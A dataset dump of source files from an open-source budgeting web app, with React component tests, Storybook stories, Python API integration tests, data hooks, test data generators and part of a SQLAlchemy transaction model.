<ConfirmationContextProvider>{children}</ConfirmationContextProvider>\n </Router>\n );\n\n window.matchMedia = createMediaQuery(width);\n\n return {\n ...baseRender(ui, { wrapper: Wrapper }),\n history,\n };\n};\n\ntest('FormDialog should navigate to route when closed on mobile', async () => {\n const { history } = render(\n <FormDialog\n actionText='Apply'\n FormComponent={Form}\n onExitNavigateTo='/resources'\n onSubmit={() => 0}\n title='Dialog Title'\n />,\n { route: '/resources/create', width: '400px' },\n );\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n expect(screen.queryByRole('button', { name: /cancel/i })).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /close/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/resources'));\n expect(screen.queryByRole('heading', { name: 'Dialog Title' })).not.toBeInTheDocument();\n});\n\ntest('FormDialog should prompt to close when dirty and mobile', async () => {\n const { history } = render(\n <FormDialog\n actionText='Apply'\n cancelConfirmText=''\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onExitNavigateTo='/resources'\n onSubmit={() => 0}\n title='Dialog Title'\n />,\n { route: '/resources/create', width: '400px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n userEvent.click(screen.getByRole('button', { name: /close/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /cancel?/i })).toBeInTheDocument(),\n );\n\n userEvent.click(screen.getByRole('button', { name: /no/i }));\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /cancel?/i })).not.toBeInTheDocument(),\n );\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n expect(history.location.pathname).toBe('/resources/create');\n\n userEvent.click(screen.getByRole('button', { name: /close/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /cancel?/i })).toBeInTheDocument(),\n );\n\n userEvent.click(screen.getByRole('button', { name: /yes/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/resources'));\n expect(screen.queryByRole('heading', { name: /cancel?/i })).not.toBeInTheDocument();\n expect(screen.queryByRole('heading', { name: 'Dialog Title' })).not.toBeInTheDocument();\n});\n\ntest('FormDialog should navigate to route when cancelled on desktop', async () => {\n const { history } = render(\n <FormDialog\n actionText='Apply'\n FormComponent={Form}\n onExitNavigateTo='/resources'\n onSubmit={() => 0}\n title='Dialog Title'\n />,\n { route: '/resources/create', width: '800px' },\n );\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n expect(screen.queryByRole('button', { name: /close/i })).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/resources'));\n expect(screen.queryByRole('heading', { name: 'Dialog Title' })).not.toBeInTheDocument();\n});\n\ntest('FormDialog should prompt to close when dirty and desktop', async () => {\n window.confirm = jest.fn();\n window.confirm.mockReturnValueOnce(false).mockReturnValueOnce(true);\n\n const { history } = render(\n <FormDialog\n actionText='Apply'\n cancelConfirmText=''\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onExitNavigateTo='/resources'\n onSubmit={() => 0}\n title='Dialog Title'\n />,\n { route: '/resources/create', width: '800px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n expect(screen.getByRole('heading', { name: 'Dialog Title' })).toBeInTheDocument();\n expect(history.location.pathname).toBe('/resources/create');\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/resources'));\n expect(screen.queryByRole('heading', { name: 'Dialog Title' })).not.toBeInTheDocument();\n});\n\ntest('FormDialog should submit form contents and remain on screen when an error occurs and mobile', async () => {\n const handleSubmit = jest.fn(\n (_, { onSettled }) =>\n new Promise((resolve) =>\n setTimeout(() => {\n onSettled();\n resolve();\n }, 50),\n ),\n );\n\n render(\n <FormDialog\n actionText='Try Anyway'\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onSubmit={handleSubmit}\n title='Should Fail'\n validationSchema={yup.object().shape({ fieldName: yup.string().required() })}\n />,\n { width: '400px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Should Fail' })).toBeInTheDocument();\n const submitButton = screen.getByRole('button', { name: 'Try Anyway' });\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n await waitFor(() => expect(submitButton).toBeEnabled());\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n\n await waitFor(() => expect(submitButton).toBeEnabled());\n expect(screen.getByRole('textbox')).toHaveDisplayValue('entered value');\n});\n\ntest('FormDialog should submit form contents and remain on screen when an error occurs and desktop', async () => {\n const handleSubmit = jest.fn(\n (_, { onSettled }) =>\n new Promise((resolve) =>\n setTimeout(() => {\n onSettled();\n resolve();\n }, 50),\n ),\n );\n\n render(\n <FormDialog\n actionText='Try Anyway'\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onSubmit={handleSubmit}\n title='Should Fail'\n validationSchema={yup.object().shape({ fieldName: yup.string().required() })}\n />,\n { width: '800px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Should Fail' })).toBeInTheDocument();\n const submitButton = screen.getByRole('button', { name: 'Try Anyway' });\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n await waitFor(() => expect(submitButton).toBeEnabled());\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n expect(screen.queryByRole('progressbar')).toBeInTheDocument();\n\n await waitFor(() => expect(submitButton).toBeEnabled());\n expect(screen.getByRole('textbox')).toHaveDisplayValue('entered value');\n});\n\ntest('FormDialog should submit form contents and navigate to route when successful and mobile', async () => {\n const handleSubmit = jest.fn(\n (_, { onSettled, onSuccess }) =>\n new Promise((resolve) =>\n setTimeout(() => {\n onSuccess();\n onSettled();\n resolve();\n }, 50),\n ),\n );\n\n const { history } = render(\n <FormDialog\n actionText='Go'\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onExitNavigateTo='/success'\n onSubmit={handleSubmit}\n title='Should Succeed'\n />,\n { width: '400px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Should Succeed' })).toBeInTheDocument();\n const submitButton = screen.getByRole('button', { name: 'Go' });\n\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n await waitFor(() => expect(submitButton).toBeEnabled());\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n\n await waitFor(() => expect(history.location.pathname).toBe('/success'));\n expect(screen.queryByRole('heading', { name: 'Should Succeed' })).not.toBeInTheDocument();\n});\n\ntest('FormDialog should submit form contents and navigate to route when successful and desktop', async () => {\n const handleSubmit = jest.fn(\n (_, { onSettled, onSuccess }) =>\n new Promise((resolve) =>\n setTimeout(() => {\n onSuccess();\n onSettled();\n resolve();\n }, 50),\n ),\n );\n\n const { history } = render(\n <FormDialog\n actionText='Go'\n FormComponent={Form}\n initialValues={{ fieldName: '' }}\n onExitNavigateTo='/success'\n onSubmit={handleSubmit}\n title='Should Succeed'\n />,\n { width: '800px' },\n );\n\n expect(screen.getByRole('heading', { name: 'Should Succeed' })).toBeInTheDocument();\n const submitButton = screen.getByRole('button', { name: 'Go' });\n\n userEvent.type(screen.getByRole('textbox'), 'entered value');\n await waitFor(() => expect(submitButton).toBeEnabled());\n\n userEvent.click(submitButton);\n await waitFor(() => expect(submitButton).toBeDisabled());\n expect(screen.queryByRole('progressbar')).toBeInTheDocument();\n\n await waitFor(() => expect(history.location.pathname).toBe('/success'));\n expect(screen.queryByRole('heading', { name: 'Should Succeed' })).not.toBeInTheDocument();\n});\n" }, { "alpha_fraction": 0.6839215755462646, "alphanum_fraction": 0.6972548961639404, "avg_line_length": 20.610170364379883, "blob_id": "be0766052b58550c88df9a0c38582c38d39380ff", "content_id": "5ce765d86b555ef4648f782600f190eadb2c82af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1275, "license_type": "permissive", "max_line_length": 59, "num_lines": 59, "path": "/webapp/src/common/components/TablePagination/TablePagination.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport TablePagination from './TablePagination';\n\nexport default {\n title: 'common/TablePagination',\n component: TablePagination,\n};\n\nconst Template = (args) => <TablePagination {...args} />;\nTemplate.args = {\n labelRowsPerPage: 'Rows per page',\n};\n\nexport const NoRows = Template.bind({});\nNoRows.args = {\n ...Template.args,\n count: 0,\n};\n\nexport const OnePageOfRows = Template.bind({});\nOnePageOfRows.args = {\n ...Template.args,\n count: 3,\n};\n\nexport const FewPagesOfRows = Template.bind({});\nFewPagesOfRows.args = {\n ...Template.args,\n count: 40,\n};\n\nexport const ManyPagesOfRows = Template.bind({});\nManyPagesOfRows.args = {\n ...Template.args,\n count: 100,\n};\n\nexport const AlternatePageSize = Template.bind({});\nAlternatePageSize.args = {\n ...Template.args,\n count: 40,\n defaultSize: 25,\n};\n\nexport const AlternateLabel = Template.bind({});\nAlternateLabel.args = {\n ...Template.args,\n count: 12,\n labelRowsPerPage: 'Things',\n};\n\nexport const SecondPage = ManyPagesOfRows.bind({});\nSecondPage.args = ManyPagesOfRows.args;\nSecondPage.parameters = { initialRoute: '?page=2' };\n\nexport const ThirdPage = ManyPagesOfRows.bind({});\nThirdPage.args = ManyPagesOfRows.args;\nThirdPage.parameters = { initialRoute: '?page=3&size=25' };\n" }, { "alpha_fraction": 0.7303370833396912, "alphanum_fraction": 0.7303370833396912, "avg_line_length": 44, "blob_id": "925c1a34a7cf33c7e6b33cbc1cf105805c251868", "content_id": "2cb54521ddc0c2af8b6c1eebdcf8ff117c301047", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 89, "license_type": "permissive", "max_line_length": 80, "num_lines": 2, "path": "/backend/pytest.ini", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "[pytest]\naddopts = --cov=underbudget --cov-report term --cov-report html --cov-report xml" }, { "alpha_fraction": 0.4177086055278778, "alphanum_fraction": 0.514289379119873, "avg_line_length": 39.19486999511719, "blob_id": "5903d4bc9382ba8ac36e376eb6681b6ee01d4efa", "content_id": "bccdc63596650094dff30a7b41f9bf1afa964dce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7838, "license_type": "permissive", "max_line_length": 80, "num_lines": 195, "path": "/backend/underbudget/tests/test_balances.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for balance APIs \"\"\"\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass BalanceTestCase(BaseTestCase):\n \"\"\" Integration tests for balance APIs \"\"\"\n\n # pylint: disable=too-many-arguments\n def create_transaction(\n self,\n recorded_date,\n payee,\n ledger_id,\n account_id,\n envelope_id,\n amount,\n cleared=False,\n ):\n \"\"\" Create a transaction using the REST API \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": recorded_date,\n \"payee\": payee,\n \"accountTransactions\": [\n {\n \"accountId\": account_id,\n \"amount\": amount,\n \"cleared\": cleared,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": envelope_id,\n \"amount\": amount,\n },\n ],\n },\n )\n assert resp.status_code == 201\n\n def create_transaction_history(self):\n \"\"\" Create a set of transactions with two accounts and two envelopes \"\"\"\n # pylint: disable=invalid-name\n l = self.create_ledger()\n acct_cat_id = self.create_account_category(l)\n a1 = self.create_account(acct_cat_id)\n a2 = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(l)\n e1 = self.create_envelope(env_cat_id)\n e2 = self.create_envelope(env_cat_id)\n\n transactions = [\n [\"2021-03-01\", \"Vendor A\", l, a1, e1, 10000, True],\n [\"2021-03-02\", \"Vendor B\", l, a2, e1, -1000, True],\n [\"2021-03-02\", \"Vendor C\", l, a1, e2, -1000, True],\n [\"2021-03-01\", \"Vendor A\", l, a1, e1, -1500, True],\n [\"2021-03-03\", \"Vendor B\", l, a2, e2, -1000, True],\n [\"2021-03-04\", \"Vendor C\", l, a1, e1, -1000, True],\n [\"2021-03-06\", \"Vendor C\", l, a2, e1, 10000, True],\n [\"2021-03-06\", \"Vendor B\", l, a1, e2, -1000, True],\n [\"2021-03-07\", \"Vendor A\", l, a1, e1, -1000, True],\n [\"2021-03-08\", \"Vendor C\", l, a2, e2, -1500, True],\n [\"2021-03-10\", \"Vendor B\", l, a1, e1, -1000, True],\n [\"2021-03-11\", \"Vendor C\", l, a2, e1, -1000, False],\n [\"2021-03-14\", \"Vendor A\", l, a1, e2, 10000, False],\n [\"2021-03-14\", \"Vendor B\", l, a1, e1, -1000, False],\n [\"2021-03-14\", \"Vendor A\", l, a2, e2, -1000, False],\n [\"2021-03-14\", \"Vendor B\", l, a1, e1, -1500, False],\n [\"2021-03-15\", \"Vendor B\", l, a2, e1, -1000, False],\n [\"2021-03-15\", \"Vendor B\", l, a1, e2, -1000, False],\n [\"2021-03-12\", \"Vendor C\", l, a1, e1, 10000, False],\n [\"2021-03-17\", \"Vendor B\", l, a2, e2, -1000, False],\n [\"2021-03-17\", \"Vendor B\", l, a1, e1, -1000, False],\n [\"2021-03-19\", \"Vendor C\", l, a2, e1, -1500, False],\n [\"2021-03-20\", \"Vendor B\", l, a1, e2, -1000, False],\n [\"2021-03-21\", \"Vendor A\", l, a1, e1, -1000, False],\n [\"2021-03-20\", \"Vendor A\", l, a2, e2, 10000, False],\n [\"2021-03-21\", \"Vendor B\", l, a1, e1, -1000, False],\n [\"2021-03-21\", \"Vendor A\", l, a2, e1, -1000, False],\n [\"2021-03-22\", \"Vendor C\", l, a1, e2, -1500, False],\n [\"2021-03-24\", \"Vendor B\", l, a1, e1, -1000, False],\n [\"2021-03-24\", \"Vendor A\", l, a2, e2, -1000, False],\n [\"2021-03-26\", \"Vendor B\", l, a1, e1, 10000, False],\n [\"2021-03-27\", \"Vendor C\", l, a2, e1, -1000, False],\n [\"2021-03-26\", \"Vendor A\", l, a1, e2, -1000, False],\n [\"2021-03-28\", \"Vendor B\", l, a1, e1, -1500, False],\n [\"2021-03-28\", \"Vendor C\", l, a2, e2, -1000, False],\n [\"2021-03-28\", \"Vendor A\", l, a1, e1, -1000, False],\n [\"2021-03-29\", \"Vendor B\", l, a2, e1, 10000, False],\n [\"2021-03-30\", \"Vendor A\", l, a1, e2, -1000, False],\n [\"2021-03-03\", \"Vendor B\", l, a1, e1, -1000, True],\n [\"2021-03-29\", \"Vendor C\", l, a2, e2, -1500, False],\n ]\n\n for trn in transactions:\n self.create_transaction(*trn)\n\n return {\n \"ledger_id\": l,\n \"acct_id_1\": a1,\n \"acct_id_2\": a2,\n \"env_id_1\": e1,\n \"env_id_2\": e2,\n }\n\n def test_account_balance(self):\n ids = self.create_transaction_history()\n\n # Default date (since this is written in April 2021 and all transactions\n # are marked for March 2021, it includes all history)\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_1']}/balance\")\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 18000\n assert resp.json.get(\"total\") == 24\n\n # Explicit date, no transactions on date\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/balance?date=2021-03-23\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 13500\n assert resp.json.get(\"total\") == 18\n\n # Explicit date, one transaction on date\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/balance?date=2021-03-17\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 18000\n assert resp.json.get(\"total\") == 14\n\n # Explicit date, multiple transactions on date\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/balance?date=2021-03-14\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 20000\n assert resp.json.get(\"total\") == 12\n\n def test_envelope_balance(self):\n ids = self.create_transaction_history()\n\n # Default date (since this is written in April 2021 and all transactions\n # are marked for March 2021, it includes all history)\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_1']}/balance\")\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 29000\n assert resp.json.get(\"total\") == 24\n\n # Explicit date, no transactions on date\n resp = self.client.get(\n f\"/api/envelopes/{ids['env_id_1']}/balance?date=2021-03-18\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 18000\n assert resp.json.get(\"total\") == 14\n\n # Explicit date, one transaction on date\n resp = self.client.get(\n f\"/api/envelopes/{ids['env_id_1']}/balance?date=2021-03-07\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 14500\n assert resp.json.get(\"total\") == 7\n\n # Explicit date, multiple transactions on date\n resp = self.client.get(\n f\"/api/envelopes/{ids['env_id_1']}/balance?date=2021-03-21\"\n )\n assert resp.status_code == 200\n assert resp.json.get(\"balance\") == 13500\n assert resp.json.get(\"total\") == 18\n\n def test_invalid_dates(self):\n ids = self.create_transaction_history()\n\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/balance?date=yesterday\"\n )\n assert resp.status_code == 400\n\n resp = self.client.get(\n f\"/api/envelopes/{ids['env_id_1']}/balance?date=yesterday\"\n )\n assert resp.status_code == 400\n\n def test_invalid_ids(self):\n self.create_transaction_history()\n\n resp = self.client.get(\"/api/accounts/99999/balance\")\n assert resp.status_code == 404\n\n resp = self.client.get(\"/api/envelopes/99999/balance\")\n assert resp.status_code == 404\n" }, { "alpha_fraction": 0.6551724076271057, "alphanum_fraction": 0.6551724076271057, "avg_line_length": 28, "blob_id": "37a5847b2e7595d5277d7c62de69bf2a4313f237", "content_id": "7788ebebe1d13a9a210c289bbd41a08e2978c9e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 29, "license_type": "permissive", "max_line_length": 28, "num_lines": 1, "path": "/webapp/src/common/contexts/selection/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export * from './selection';\n" }, { "alpha_fraction": 0.6895368695259094, "alphanum_fraction": 0.6895368695259094, "avg_line_length": 31.38888931274414, "blob_id": "380936b22abbebfea7499233e598ba37423858ef", "content_id": "a74c7a72b2af684e9949b06643c269ae6cff0bad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 583, "license_type": "permissive", "max_line_length": 84, "num_lines": 18, "path": "/webapp/src/features/envelopes/hooks/useCreateEnvelope.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation(\n ({ categoryId, ...data }) =>\n axios.post(`/api/envelope-categories/${categoryId}/envelopes`, data),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to create envelope' }),\n refetchQueries: [['envelope-categories', { ledger }]],\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.6118475794792175, "alphanum_fraction": 0.6499585509300232, "avg_line_length": 31.18666648864746, "blob_id": "b7cd053fe77cbdaaa5c2bcccdeed96f2a489de0a", "content_id": "d4f9f61a72851bd985e2d38239f309a5cf826b0f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2414, "license_type": "permissive", "max_line_length": 98, "num_lines": 75, "path": "/webapp/src/test/data-generators.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import * as faker from 'faker';\nimport moment from 'moment';\n\nexport const accountGenerator = (overrides = {}) => ({\n id: faker.datatype.number({ min: 1 }),\n categoryId: faker.datatype.number({ min: 1 }),\n name: faker.finance.accountName(),\n archived: false,\n ...overrides,\n});\n\nexport const reconciliationGenerator = (overrides = {}) => {\n const endingDate = moment(faker.date.past(1));\n const endingBalance = faker.datatype.number({ min: 100000, max: 400000 });\n const beginningDate = endingDate.clone().subtract(1, 'month').add(1, 'day');\n const beginningBalance = endingBalance - faker.datatype.number({ min: -100000, max: 100000 });\n return {\n id: faker.datatype.number({ min: 1 }),\n accountId: faker.datatype.number({ min: 1 }),\n beginningBalance,\n beginningDate,\n endingBalance,\n endingDate,\n ...overrides,\n };\n};\n\nexport const reconciliationsGenerator = (num) => {\n let endingDate = moment(faker.date.past(1));\n let endingBalance = faker.datatype.number({ min: 200000, max: 500000 });\n const reconciliations = [];\n\n for (let i = 0; i < num; i += 1) {\n const beginningBalance = endingBalance - faker.datatype.number({ min: -100000, max: 100000 });\n const beginningDate = endingDate.clone().subtract(1, 'month').add(1, 'day');\n reconciliations.push({\n id: faker.datatype.number({ min: 1 }),\n beginningBalance,\n beginningDate,\n endingBalance,\n endingDate,\n });\n endingBalance = beginningBalance;\n endingDate = beginningDate.clone().subtract(1, 'day');\n }\n\n return reconciliations;\n};\n\nexport const transactionGenerator = (overrides = {}) => {\n let { amount } = overrides;\n if (amount === undefined) {\n amount = faker.datatype.number({ min: -100000, max: 100000 });\n }\n return {\n id: faker.datatype.number({ min: 1 }),\n transactionId: faker.datatype.number({ min: 1 }),\n recordedDate: moment(faker.date.past(1)).format('YYYY-MM-DD'),\n payee: faker.company.companyName(),\n type: amount < 0 ? 'expense' : 'income',\n memo: faker.commerce.product(),\n cleared: faker.datatype.boolean(),\n amount,\n balance: faker.datatype.number({ min: 100000, max: 400000 }),\n ...overrides,\n };\n};\n\nexport const transactionsGenerator = (num, overrides = {}) => {\n const transactions = [];\n for (let i = 0; i < num; i += 1) {\n transactions.push(transactionGenerator(overrides));\n }\n return transactions;\n};\n" }, { "alpha_fraction": 0.6292622685432434, "alphanum_fraction": 0.6292622685432434, "avg_line_length": 23.074626922607422, "blob_id": "c0b67bb661ae6a61f9c801a1b0ff2a3ea7be4544", "content_id": "eb335a101ff58d291ad374cef43242afbce6b8a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1613, "license_type": "permissive", "max_line_length": 65, "num_lines": 67, "path": "/webapp/src/common/components/PureAppBar/PureAppBar.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AccountCircleIcon from '@material-ui/icons/AccountCircle';\nimport AddIcon from '@material-ui/icons/Add';\nimport EditIcon from '@material-ui/icons/Edit';\nimport MenuIcon from '@material-ui/icons/Menu';\nimport { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport PureAppBar from './PureAppBar';\n\nexport default {\n title: 'common/PureAppBar',\n component: PureAppBar,\n};\n\nconst Template = (args) => <PureAppBar {...args} />;\n\nexport const Default = Template.bind({});\n\nexport const WithTitle = Template.bind({});\nWithTitle.args = { title: 'Page Title' };\n\nexport const WithNavAction = Template.bind({});\nWithNavAction.args = {\n ...WithTitle.args,\n navAction: {\n 'aria-label': 'open nav drawer',\n icon: <MenuIcon />,\n onClick: action('open nav drawer'),\n text: 'Nav drawer',\n },\n};\n\nexport const WithSingleAction = Template.bind({});\nWithSingleAction.args = {\n ...WithNavAction.args,\n actions: {\n 'aria-label': 'open account menu',\n icon: <AccountCircleIcon />,\n onClick: action('open account menu'),\n text: 'Account actions',\n },\n};\n\nexport const WithActions = Template.bind({});\nWithActions.args = {\n ...WithNavAction.args,\n actions: [\n {\n 'aria-label': 'create',\n icon: <AddIcon />,\n onClick: action('create'),\n text: 'Create',\n },\n {\n 'aria-label': 'edit',\n icon: <EditIcon />,\n onClick: action('edit'),\n text: 'Edit',\n },\n {\n 'aria-label': 'open account menu',\n icon: <AccountCircleIcon />,\n onClick: action('open account menu'),\n text: 'Account actions',\n },\n ],\n};\n" }, { "alpha_fraction": 0.6228710412979126, "alphanum_fraction": 0.6228710412979126, "avg_line_length": 24.6875, "blob_id": "0903ff01c320de4019a9e9e39eba92ecaa31080c", "content_id": "a54cbc14dbe0bad59f8f7317ef6a0b68331e1231", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 822, "license_type": "permissive", "max_line_length": 97, "num_lines": 32, "path": "/webapp/src/features/budgets/hooks/useFetchPeriodicIncomes.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport sortBy from 'lodash/sortBy';\nimport React from 'react';\nimport { useQuery } from 'react-query';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\n\nexport default ({ budgetId }, opts) => {\n const createErrorMessage = useErrorMessage({ request: 'Unable to retrieve periodic incomes' });\n\n const { data, error, status } = useQuery(\n ['budget-periodic-incomes', { budgetId }],\n async () => {\n const { data: resp } = await axios.get(`/api/budgets/${budgetId}/periodic-incomes`);\n return resp;\n },\n { enabled: !!budgetId, ...opts },\n );\n\n const incomes = React.useMemo(() => {\n if (!data) {\n return [];\n }\n return sortBy(data.incomes, ['name']);\n }, [data]);\n\n return {\n incomes,\n error: createErrorMessage(error),\n status,\n };\n};\n" }, { "alpha_fraction": 0.5357142686843872, "alphanum_fraction": 0.5357142686843872, "avg_line_length": 10.199999809265137, "blob_id": "e0dd20460f667915a1ab225026d0ae0057ea0f19", "content_id": "3d4d8d2b45b76870ea05db96ff5f037492696b21", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 56, "license_type": "permissive", "max_line_length": 17, "num_lines": 5, "path": "/webapp/src/common/utils/queryConfig.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export default {\n queries: {\n retry: false,\n },\n};\n" }, { "alpha_fraction": 0.6078698635101318, "alphanum_fraction": 0.6103887557983398, "avg_line_length": 38.807586669921875, "blob_id": "72c1c57d0c2a4eeb8dd72f5802d728359c7e8391", "content_id": "6201a0e4da140b5312785db8168ab9fa9974c0ed", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14689, "license_type": "permissive", "max_line_length": 94, "num_lines": 369, "path": "/backend/underbudget/models/transaction.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Transaction database models \"\"\"\nimport enum\nfrom typing import Any, Dict, List, Optional, Type\nfrom flask_sqlalchemy import Pagination\nfrom sqlalchemy import text\nfrom werkzeug.exceptions import BadRequest, NotFound\n\nimport underbudget.models.filter_ops as filter_ops\nfrom underbudget.database import db\nfrom underbudget.models.base import AuditModel, CrudModel\nfrom underbudget.models.ledger import LedgerModel\n\n\nclass ValidationError(BadRequest):\n \"\"\" Transaction validation error \"\"\"\n\n\nclass TransactionType(enum.Enum):\n \"\"\" Transaction type enumeration \"\"\"\n\n income = 1\n refund = 2\n opening_balance = 3\n expense = 4\n transfer = 5\n allocation = 6\n reallocation = 7\n\n @classmethod\n def parse(\n cls: Type[\"TransactionType\"], val: Optional[str]\n ) -> Optional[\"TransactionType\"]:\n \"\"\" Creates a transaction type for the given value, if not none \"\"\"\n if val:\n try:\n return cls[val]\n except Exception as err:\n raise BadRequest(f\"Invalid transaction type: {val}\") from err\n return None\n\n @classmethod\n def incomes(cls: Type[\"TransactionType\"]) -> List[\"TransactionType\"]:\n \"\"\" Gets all income transaction types \"\"\"\n return [cls.income, cls.refund, cls.opening_balance]\n\n @classmethod\n def expenses(cls: Type[\"TransactionType\"]) -> List[\"TransactionType\"]:\n \"\"\" Gets all expense transaction types \"\"\"\n return [cls.expense]\n\n @classmethod\n def transfers(cls: Type[\"TransactionType\"]) -> List[\"TransactionType\"]:\n \"\"\" Gets all transfer transaction types \"\"\"\n return [cls.transfer]\n\n @classmethod\n def allocations(cls: Type[\"TransactionType\"]) -> List[\"TransactionType\"]:\n \"\"\" Gets all allocation transaction types \"\"\"\n return [cls.allocation, cls.reallocation]\n\n\nclass TransactionModel(db.Model, AuditModel, CrudModel):\n \"\"\" Transaction model \"\"\"\n\n __tablename__ = \"transaction\"\n\n id = db.Column(db.Integer, primary_key=True)\n ledger_id = db.Column(db.Integer, db.ForeignKey(\"ledger.id\"), nullable=False)\n account_transactions = db.relationship(\n \"AccountTransactionModel\", cascade=\"save-update,delete,delete-orphan\"\n )\n envelope_transactions = db.relationship(\n \"EnvelopeTransactionModel\", cascade=\"save-update,delete,delete-orphan\"\n )\n\n transaction_type = db.Column(db.Enum(TransactionType), nullable=False)\n recorded_date = db.Column(db.Date, nullable=False)\n payee = db.Column(db.String(256), nullable=False)\n\n def _check_type(\n self, allowed_types: List[\"TransactionType\"], default_type: \"TransactionType\"\n ):\n \"\"\"\n Sets the transaction type to the default type if it is undefined, or validates that\n the type is one of the allowed types.\n \"\"\"\n if not self.transaction_type:\n self.transaction_type = default_type\n elif self.transaction_type not in allowed_types:\n raise ValidationError(f\"Invalid type for {default_type.name} transactions\")\n\n def validate(self):\n \"\"\"\n Verifies that the transaction satisfies all integrity constraints, including:\n - zero-sum difference between account and envelope transactions\n - transaction type matches account and envelope transactions\n \"\"\"\n # pylint: disable=not-an-iterable\n\n account_sum = sum([trn.amount for trn in self.account_transactions], 0)\n envelope_sum = sum([trn.amount for trn in self.envelope_transactions], 0)\n\n has_account_trns = len(self.account_transactions) != 0\n has_envelope_trns = 